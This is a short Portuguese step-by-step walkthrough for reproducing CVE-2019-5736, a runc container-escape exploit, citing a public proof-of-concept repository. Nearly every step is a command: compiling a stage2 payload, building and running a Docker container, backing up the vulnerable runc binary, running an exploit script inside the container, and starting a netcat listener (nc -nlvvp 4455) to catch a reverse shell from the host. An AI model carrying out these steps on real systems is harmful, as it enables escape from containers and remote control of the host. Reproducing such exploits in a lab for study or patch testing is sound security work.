- (1). Compile o stage2.c e prepare o payload do ataque.
- (2). Crie o DockerFile e execute docker build -t cve .
- (3). docker run -d -t --name cvetest cve
- (4). Faça backup do runc vulnerável com cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
- (5). Execute docker exec -it cve /bin/bash.
- (6). Dentro do docker execute cd /root && ./run.sh && exit
- (7). Inicie um listener com nc -nlvvp 4455
- (8). Em outro terminal, execute docker exec -it cve /bin/bash
Referência: https://github.com/agppp/cve-2019-5736-poc
Fim.